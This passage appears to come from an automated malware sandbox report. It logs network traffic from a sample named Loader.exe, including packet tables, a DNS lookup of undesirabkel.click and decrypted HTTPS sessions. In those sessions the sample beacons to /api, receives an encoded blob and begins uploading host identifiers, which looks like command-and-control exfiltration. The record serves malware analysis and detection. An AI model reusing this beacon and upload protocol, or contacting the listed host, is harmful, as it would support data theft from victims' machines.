Dec 27, 2024 23:27:11.622975111 CET	49735	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:11.622988939 CET	443	49735	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:12.836654902 CET	443	49735	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:12.836750984 CET	49735	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:13.009571075 CET	49735	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:13.009605885 CET	443	49735	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:13.009979963 CET	443	49735	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:13.011249065 CET	49735	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:13.011519909 CET	49735	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:13.011526108 CET	443	49735	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:13.770487070 CET	443	49735	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:13.770585060 CET	443	49735	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:13.770641088 CET	49735	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:13.770837069 CET	49735	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:13.770853043 CET	443	49735	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:14.244735003 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:14.244776964 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:14.244908094 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:14.245260000 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:14.245274067 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:15.838982105 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:15.839085102 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.840667963 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.840677977 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:15.840996981 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:15.849910021 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.850821018 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.850862980 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:15.850958109 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.850991964 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:15.851110935 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.851170063 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:15.851294994 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.851326942 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:15.851475954 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.851505041 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:15.851660013 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.851690054 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:15.851718903 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.851865053 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.851901054 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.899322033 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:15.899532080 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.899589062 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.899605989 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.947330952 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:15.947540045 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.947598934 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.947633028 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:15.995332003 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:15.995485067 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:16.039331913 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:16.316534042 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:18.727063894 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:18.727188110 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:18.727245092 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:18.727444887 CET	49737	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:18.727461100 CET	443	49737	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:18.801692963 CET	49741	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:18.801723003 CET	443	49741	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:18.801800966 CET	49741	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:18.802165031 CET	49741	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:18.802177906 CET	443	49741	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:20.017796993 CET	443	49741	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:20.017873049 CET	49741	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:20.021262884 CET	49741	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:20.021279097 CET	443	49741	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:20.021631002 CET	443	49741	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:20.031089067 CET	49741	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:20.031117916 CET	49741	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:20.031179905 CET	443	49741	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:20.785696983 CET	443	49741	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:20.785825014 CET	443	49741	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:20.785897970 CET	49741	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:20.786079884 CET	49741	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:20.786103010 CET	443	49741	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:20.786117077 CET	49741	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:20.786124945 CET	443	49741	104.21.30.13	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 23:26:57.370527983 CET	64722	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:26:57.587225914 CET	53	64722	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 23:26:57.370527983 CET	192.168.2.4	1.1.1.1	0x9f8a	Standard query (0)	undesirabkel.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 23:26:57.587225914 CET	1.1.1.1	192.168.2.4	0x9f8a	No error (0)	undesirabkel.click		104.21.30.13	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:26:57.587225914 CET	1.1.1.1	192.168.2.4	0x9f8a	No error (0)	undesirabkel.click		172.67.150.49	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

undesirabkel.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.30.13	443	7408	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:26:58 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: undesirabkel.click
2024-12-27 22:26:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 22:26:59 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:26:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=imu9qtfg8kn9uc8iti6k2id42l; expires=Tue, 22 Apr 2025 16:13:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FioQwkMlEnmcTx7FHoWhK%2BQOkqy4uyVTFp0dtXvcNsYXohp6yy3pyQREGahj%2FYLAxSFXDdhMFN1s5o7UufL28kkNYDvyLalxz1PM6iX0Z9hncAqUaAFb%2FBA6TsfxzhfWKdPLPS8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cbc3f5ceb2369-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1796&min_rtt=1790&rtt_var=684&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1583514&cwnd=142&unsent_bytes=0&cid=cfabab2d8f34cf10&ts=756&x=0"
2024-12-27 22:26:59 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 22:26:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.30.13	443	7408	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:27:00 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 54 Host: undesirabkel.click
2024-12-27 22:27:00 UTC	54	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 79 78 6f 6a 62 74 75 71 6e 6e 78 66 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--yxojbtuqnnxf&j=
2024-12-27 22:27:01 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:27:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iurop7eqdsqiecp9heodd8rj8e; expires=Tue, 22 Apr 2025 16:13:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wXTZxCQAQNEruUkh4iunC4hw8IrT1DroDg2dQpP7JH0TrcduSKDX%2FWQtWZYbV9y4RT5cVv6pyuKgQKuu3CBVKLYvwfjIbKfl6ge1GzzFrQjoCnOhtJrXVJy9xcVg8%2ByKXICr3k8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cbc4bbf0f0f89-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1608&min_rtt=1601&rtt_var=615&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=956&delivery_rate=1757977&cwnd=235&unsent_bytes=0&cid=0c48fa7b9b66925a&ts=799&x=0"
2024-12-27 22:27:01 UTC	244	IN	Data Raw: 34 39 31 63 0d 0a 55 42 32 65 39 46 79 6e 63 2b 4e 69 32 55 37 62 70 64 44 35 35 6a 68 51 46 30 79 50 6b 59 47 70 52 71 50 54 72 68 64 61 39 6f 41 72 50 2b 6a 57 5a 70 4e 66 77 52 47 38 62 4f 48 52 6f 6f 79 44 46 48 4a 32 4b 4b 32 72 35 38 67 71 30 4c 61 43 4e 53 79 62 6f 6d 70 37 2f 35 67 76 77 6c 2f 42 42 36 46 73 34 66 36 72 32 34 4e 57 63 69 31 75 36 76 76 6a 79 43 72 42 73 73 56 34 4b 70 72 6a 4f 48 48 35 6e 44 6e 45 46 34 49 4f 74 43 75 2b 77 4c 47 54 69 46 45 39 66 79 47 74 76 61 50 4d 50 49 48 70 6a 46 6f 2f 67 75 45 64 66 4f 32 66 66 74 70 66 6d 45 43 38 49 50 6d 66 38 70 69 44 57 6a 78 78 4b 4f 54 35 36 63 45 69 77 4c 66 45 5a 7a 4f 51 36 44 68 2f 2b 70 30 7a 7a 51 4f 50 42 4c 4d 67 75 4d 71 78 32 38 6f 61 4e 57 Data Ascii: 491cUB2e9Fync+Ni2U7bpdD55jhQF0yPkYGpRqPTrhda9oArP+jWZpNfwRG8bOHRooyDFHJ2KK2r58gq0LaCNSybomp7/5gvwl/BB6Fs4f6r24NWci1u6vvjyCrBssV4KprjOHH5nDnEF4IOtCu+wLGTiFE9fyGtvaPMPIHpjFo/guEdfO2fftpfmEC8IPmf8piDWjxxKOT56cEiwLfEZzOQ6Dh/+p0zzQOPBLMguMqx28oaNW
2024-12-27 22:27:01 UTC	1369	IN	Data Raw: 31 75 74 62 4f 77 2b 53 66 51 6f 4e 6c 34 4b 4a 4b 69 4c 54 48 6c 31 6a 6e 4a 55 64 6c 41 73 79 43 33 77 72 47 55 67 31 73 79 5a 79 48 74 38 4f 76 44 49 4d 75 2b 77 33 6f 32 6e 75 55 36 64 76 75 5a 4f 63 30 58 6a 67 50 37 59 76 6e 41 71 74 76 63 47 68 4a 6c 4c 65 37 6e 37 74 70 6b 33 76 2f 56 4e 54 2b 59 6f 6d 6f 2f 2b 70 67 2f 79 42 47 54 43 4c 41 6e 76 4e 57 35 6b 6f 6c 58 4d 6e 67 6b 34 76 44 6a 7a 43 37 4c 76 73 5a 78 4e 5a 6e 6b 4d 6e 2b 38 32 48 37 43 43 63 46 59 2b 77 2b 38 31 37 57 58 6b 68 67 49 4e 54 47 6a 36 71 50 4d 4b 49 48 70 6a 48 30 39 6c 2b 45 35 63 50 2b 65 4e 64 63 52 6b 77 61 32 4b 61 76 42 74 35 57 4f 57 53 42 2f 49 4f 76 77 36 73 41 74 78 4c 62 49 4e 58 62 55 35 53 6f 2f 70 4e 59 66 79 42 71 4e 43 71 77 73 2b 64 6a 38 67 73 52 64 50 Data Ascii: 1utbOw+SfQoNl4KJKiLTHl1jnJUdlAsyC3wrGUg1syZyHt8OvDIMu+w3o2nuU6dvuZOc0XjgP7YvnAqtvcGhJlLe7n7tpk3v/VNT+Yomo/+pg/yBGTCLAnvNW5kolXMngk4vDjzC7LvsZxNZnkMn+82H7CCcFY+w+817WXkhgINTGj6qPMKIHpjH09l+E5cP+eNdcRkwa2KavBt5WOWSB/IOvw6sAtxLbINXbU5So/pNYfyBqNCqws+dj8gsRdP
2024-12-27 22:27:01 UTC	1369	IN	Data Raw: 38 37 73 64 6b 6a 2f 48 4c 62 58 6a 4d 6f 68 68 38 36 4a 55 30 68 79 53 43 44 72 55 72 72 34 65 74 31 5a 30 61 4e 58 6c 75 74 62 50 75 79 69 7a 48 6f 38 4e 34 4f 35 72 73 50 58 72 7a 6e 6a 37 46 48 49 51 45 73 43 65 36 79 72 61 4a 6a 6c 6f 36 63 43 2f 6e 2b 61 4f 46 5a 4d 61 70 6a 43 31 34 70 66 55 35 50 63 6d 56 4d 4d 73 57 6c 30 43 6b 59 71 43 48 74 5a 66 45 41 6e 4a 34 4a 75 6a 32 37 4d 6f 75 7a 37 54 47 65 54 43 61 34 53 42 77 2b 4a 59 79 7a 52 75 4d 44 72 38 6b 73 4d 79 35 6e 59 52 62 4f 44 56 67 72 66 54 37 69 33 79 42 68 63 74 35 4e 5a 75 67 42 33 7a 79 6d 44 6e 54 55 5a 35 4f 6f 6d 79 2b 79 2f 4c 44 78 46 59 37 64 53 58 6e 39 2b 50 4d 4b 63 53 79 79 33 59 31 6b 2b 67 38 65 50 69 61 4e 38 67 58 67 51 65 2f 4b 61 76 43 75 35 65 49 47 6e 77 31 4b 66 Data Ascii: 87sdkj/HLbXjMohh86JU0hySCDrUrr4et1Z0aNXlutbPuyizHo8N4O5rsPXrznj7FHIQEsCe6yraJjlo6cC/n+aOFZMapjC14pfU5PcmVMMsWl0CkYqCHtZfEAnJ4Juj27Mouz7TGeTCa4SBw+JYyzRuMDr8ksMy5nYRbODVgrfT7i3yBhct5NZugB3zymDnTUZ5Oomy+y/LDxFY7dSXn9+PMKcSyy3Y1k+g8ePiaN8gXgQe/KavCu5eIGnw1Kf
2024-12-27 22:27:01 UTC	1369	IN	Data Raw: 5a 4d 61 39 6a 43 31 34 6e 65 73 67 63 66 4b 66 4d 38 4d 5a 68 67 36 32 4a 37 2f 4d 74 5a 79 43 56 7a 70 34 4b 2b 37 79 35 38 45 32 77 72 72 47 65 44 4c 55 72 48 4a 34 35 4e 5a 6d 68 54 61 4e 4b 61 73 33 71 39 48 79 68 4d 70 44 63 6e 49 69 72 61 75 6a 79 43 76 49 76 73 52 39 4e 35 76 6d 50 48 6e 36 6d 7a 76 4b 47 35 4d 49 74 53 47 79 79 4c 6d 4a 68 46 63 32 65 53 72 6c 2b 4f 6d 4c 61 6f 47 32 31 44 56 67 31 4e 63 2f 63 50 79 56 4b 49 55 4f 7a 78 6e 37 4b 37 57 48 36 74 75 49 56 44 4a 36 49 75 48 34 36 38 6f 6f 7a 37 62 4a 66 44 43 63 38 44 4e 37 39 4a 63 77 79 68 43 46 42 62 34 6f 76 73 4f 30 6c 4d 51 55 63 6e 49 32 72 61 75 6a 35 41 50 30 38 2b 31 50 65 49 75 73 4b 7a 2f 37 6d 6e 36 64 55 59 30 44 74 79 53 32 77 62 75 58 6a 6c 4d 35 65 53 58 70 2f 2b 72 Data Ascii: ZMa9jC14nesgcfKfM8MZhg62J7/MtZyCVzp4K+7y58E2wrrGeDLUrHJ45NZmhTaNKas3q9HyhMpDcnIiraujyCvIvsR9N5vmPHn6mzvKG5MItSGyyLmJhFc2eSrl+OmLaoG21DVg1Nc/cPyVKIUOzxn7K7WH6tuIVDJ6IuH468ooz7bJfDCc8DN79JcwyhCFBb4ovsO0lMQUcnI2rauj5AP08+1PeIusKz/7mn6dUY0DtyS2wbuXjlM5eSXp/+r
2024-12-27 22:27:01 UTC	1369	IN	Data Raw: 4d 31 7a 4b 70 50 72 49 48 48 78 6d 54 62 4e 47 49 41 45 76 69 47 2f 79 37 69 61 67 31 51 38 66 57 36 6a 73 2b 54 54 5a 4a 6e 78 37 57 55 6a 68 76 51 2f 58 76 47 5a 66 74 70 66 6d 45 43 38 49 50 6d 66 38 70 4b 57 58 6a 39 6e 4a 2b 72 39 37 4d 67 32 77 4c 7a 48 5a 7a 2b 62 35 6a 56 7a 2b 70 6b 34 78 42 53 4c 44 4c 77 70 73 73 69 2b 32 38 6f 61 4e 57 31 75 74 62 50 4e 77 44 66 57 73 73 4a 2b 4c 6f 2b 69 4c 54 48 6c 31 6a 6e 4a 55 64 6c 41 75 43 65 79 77 37 4b 58 68 46 34 2f 64 54 7a 69 39 4f 54 43 4c 39 4f 37 79 33 49 7a 6e 4f 6b 39 65 65 36 61 4d 4e 63 55 6b 78 4c 37 59 76 6e 41 71 74 76 63 47 67 52 79 50 76 33 77 6f 66 6f 79 77 71 66 48 65 44 54 55 2f 58 78 6d 76 4a 45 79 68 55 6e 42 42 72 51 6c 75 73 69 7a 6b 6f 68 58 4e 33 77 72 37 50 58 6e 77 53 37 42 Data Ascii: M1zKpPrIHHxmTbNGIAEviG/y7iag1Q8fW6js+TTZJnx7WUjhvQ/XvGZftpfmEC8IPmf8pKWXj9nJ+r97Mg2wLzHZz+b5jVz+pk4xBSLDLwpssi+28oaNW1utbPNwDfWssJ+Lo+iLTHl1jnJUdlAuCeyw7KXhF4/dTzi9OTCL9O7y3IznOk9ee6aMNcUkxL7YvnAqtvcGgRyPv3wofoywqfHeDTU/XxmvJEyhUnBBrQlusizkohXN3wr7PXnwS7B
2024-12-27 22:27:01 UTC	1369	IN	Data Raw: 66 61 2b 33 4a 34 38 4e 5a 6d 68 52 4b 47 41 37 6f 6d 73 4d 75 39 6e 49 42 49 4f 48 49 38 37 50 4c 6f 78 69 6a 42 76 4d 46 2f 4f 5a 33 76 50 6e 4c 37 6b 54 48 41 55 63 39 41 76 44 54 35 6e 2f 4b 36 69 56 45 2b 4c 6e 53 74 37 4b 33 53 5a 4d 61 39 6a 43 31 34 6c 4f 67 33 64 66 47 56 4d 63 59 44 67 41 61 70 4c 4c 54 4e 6f 4a 47 50 58 7a 39 34 49 2b 37 31 35 63 41 6f 30 37 6a 4d 64 6a 50 55 72 48 4a 34 35 4e 5a 6d 68 54 4b 57 46 72 45 72 74 64 47 35 6d 6f 64 4d 50 32 56 75 6f 37 50 79 7a 44 57 42 36 64 70 6c 4c 35 50 39 66 47 61 38 6b 54 4b 46 53 63 45 47 73 69 71 2b 77 62 79 4a 67 56 77 39 65 69 66 6b 39 2b 76 49 4a 4d 57 31 79 33 41 37 6d 4f 6b 31 66 50 4f 53 4e 38 73 59 6a 6b 44 31 62 4c 37 66 38 73 50 45 65 79 6c 32 49 75 43 7a 2f 49 55 39 67 62 62 41 4e Data Ascii: fa+3J48NZmhRKGA7omsMu9nIBIOHI87PLoxijBvMF/OZ3vPnL7kTHAUc9AvDT5n/K6iVE+LnSt7K3SZMa9jC14lOg3dfGVMcYDgAapLLTNoJGPXz94I+715cAo07jMdjPUrHJ45NZmhTKWFrErtdG5modMP2Vuo7PyzDWB6dplL5P9fGa8kTKFScEGsiq+wbyJgVw9eifk9+vIJMW1y3A7mOk1fPOSN8sYjkD1bL7f8sPEeyl2IuCz/IU9gbbAN
2024-12-27 22:27:01 UTC	1369	IN	Data Raw: 71 50 39 79 64 4b 4d 41 57 6c 30 4b 4f 4c 37 66 4a 74 59 33 45 52 51 30 37 62 75 4c 70 6f 35 4d 64 32 50 48 4c 65 58 6a 4d 6f 69 64 34 2f 4a 45 6b 30 78 61 4e 45 62 41 68 74 65 57 39 6e 4a 4a 5a 50 58 59 2f 35 4c 2f 6f 78 6d 53 50 38 63 74 74 65 4d 79 69 48 58 6a 71 6c 52 48 47 41 49 68 41 39 57 79 2b 30 66 4c 44 78 47 52 79 5a 79 33 39 38 4f 7a 61 47 6f 48 70 31 55 74 34 6e 2f 51 31 62 2f 2b 41 4e 63 67 64 6b 44 37 37 64 4f 32 56 34 4d 6e 57 43 43 30 31 4d 64 4b 39 6f 38 70 6b 6d 59 6a 56 4e 53 37 55 75 6d 41 78 76 49 52 2b 6e 56 48 47 41 36 6b 2b 76 38 53 6b 6d 4d 4e 6b 44 46 49 34 35 2f 54 7a 7a 44 50 4f 38 59 49 31 4e 39 53 36 43 7a 2f 31 6b 53 58 55 42 34 77 51 76 47 79 47 69 66 4b 44 78 41 4a 79 51 43 33 6a 2f 65 54 64 4e 59 79 57 32 6e 38 2f 68 4f Data Ascii: qP9ydKMAWl0KOL7fJtY3ERQ07buLpo5Md2PHLeXjMoid4/JEk0xaNEbAhteW9nJJZPXY/5L/oxmSP8ctteMyiHXjqlRHGAIhA9Wy+0fLDxGRyZy398OzaGoHp1Ut4n/Q1b/+ANcgdkD77dO2V4MnWCC01MdK9o8pkmYjVNS7UumAxvIR+nVHGA6k+v8SkmMNkDFI45/TzzDPO8YI1N9S6Cz/1kSXUB4wQvGyGifKDxAJyQC3j/eTdNYyW2n8/hO
2024-12-27 22:27:01 UTC	1369	IN	Data Raw: 6d 58 4c 4c 47 6f 45 48 71 7a 71 69 69 37 71 59 6e 6b 41 4d 53 77 58 68 39 65 54 52 49 38 65 58 37 44 56 32 31 4f 31 79 4a 38 58 57 64 6f 55 75 7a 30 43 6a 62 4f 47 48 68 35 69 4b 56 44 56 6a 50 36 44 62 77 50 45 65 67 35 33 4c 59 48 71 67 35 53 4a 75 39 35 73 79 68 56 2f 42 42 76 74 30 36 59 6e 79 6e 35 55 61 61 69 56 38 74 71 61 77 6e 48 53 54 72 6f 4a 73 65 49 4b 69 61 69 32 79 31 69 79 46 53 63 46 48 75 44 36 72 77 62 47 4e 68 78 30 4d 53 77 6e 6a 39 4f 4c 64 4e 4e 61 2b 38 6b 73 74 6c 2b 77 38 65 4f 71 48 66 6f 74 52 6a 6b 44 6a 46 66 6d 50 38 71 54 4b 47 69 6f 31 64 71 33 47 34 4d 55 71 78 71 66 64 4f 42 2b 61 35 54 4e 70 37 49 45 78 68 56 2f 42 42 76 74 30 36 34 6e 79 6e 35 55 61 61 69 56 38 74 71 61 77 6e 48 53 54 72 6f 4a 73 65 49 4b 69 61 69 32 Data Ascii: mXLLGoEHqzqii7qYnkAMSwXh9eTRI8eX7DV21O1yJ8XWdoUuz0CjbOGHh5iKVDVjP6DbwPEeg53LYHqg5SJu95syhV/BBvt06Ynyn5UaaiV8tqawnHSTroJseIKiai2y1iyFScFHuD6rwbGNhx0MSwnj9OLdNNa+8kstl+w8eOqHfotRjkDjFfmP8qTKGio1dq3G4MUqxqfdOB+a5TNp7IExhV/BBvt064nyn5UaaiV8tqawnHSTroJseIKiai2
2024-12-27 22:27:01 UTC	1369	IN	Data Raw: 6c 4f 68 42 36 30 76 2b 59 6e 79 6c 38 51 43 63 6e 51 6b 2f 66 37 73 7a 47 6a 47 71 38 73 31 64 74 54 73 63 69 65 38 6c 7a 54 56 48 49 34 48 39 79 71 33 79 66 4b 45 79 6b 4e 79 59 32 36 31 6f 4b 32 4c 4e 6f 48 70 6a 44 49 37 68 76 41 30 66 4f 71 56 65 66 73 76 72 42 4b 38 50 4c 71 46 67 35 61 41 54 43 64 32 50 75 72 4e 33 65 59 32 78 71 48 50 4e 77 6d 43 34 54 4a 78 2b 39 5a 77 68 51 6e 42 57 50 73 42 71 38 43 69 6d 4d 51 55 63 6e 6c 75 74 62 50 75 32 53 50 52 73 6f 42 79 49 70 4f 69 4c 54 48 6c 31 69 69 46 53 64 4a 4f 2b 7a 37 35 6e 2f 4c 63 69 6c 63 7a 64 69 44 75 34 66 48 4e 4a 39 65 79 69 30 73 47 75 66 41 31 62 2f 2f 55 44 38 67 56 6c 78 57 34 50 4c 37 35 6a 4c 61 57 58 53 4a 32 62 4d 48 30 37 73 63 61 2f 34 62 64 63 69 6a 57 78 44 46 70 2f 39 5a 77 Data Ascii: lOhB60v+Ynyl8QCcnQk/f7szGjGq8s1dtTscie8lzTVHI4H9yq3yfKEykNyY261oK2LNoHpjDI7hvA0fOqVefsvrBK8PLqFg5aATCd2PurN3eY2xqHPNwmC4TJx+9ZwhQnBWPsBq8CimMQUcnlutbPu2SPRsoByIpOiLTHl1iiFSdJO+z75n/LcilczdiDu4fHNJ9eyi0sGufA1b//UD8gVlxW4PL75jLaWXSJ2bMH07sca/4bdcijWxDFp/9Zw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.30.13	443	7408	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:27:03 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=M91SY52IFT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18122 Host: undesirabkel.click
2024-12-27 22:27:03 UTC	15331	OUT	Data Raw: 2d 2d 4d 39 31 53 59 35 32 49 46 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 41 33 45 45 35 44 45 45 46 32 46 34 31 39 31 34 34 31 45 44 44 38 45 30 35 43 45 33 44 41 0d 0a 2d 2d 4d 39 31 53 59 35 32 49 46 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 39 31 53 59 35 32 49 46 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 79 78 6f 6a 62 74 75 71 6e 6e 78 66 0d 0a 2d 2d 4d 39 31 53 59 35 32 49 46 54 0d 0a 43 Data Ascii: --M91SY52IFTContent-Disposition: form-data; 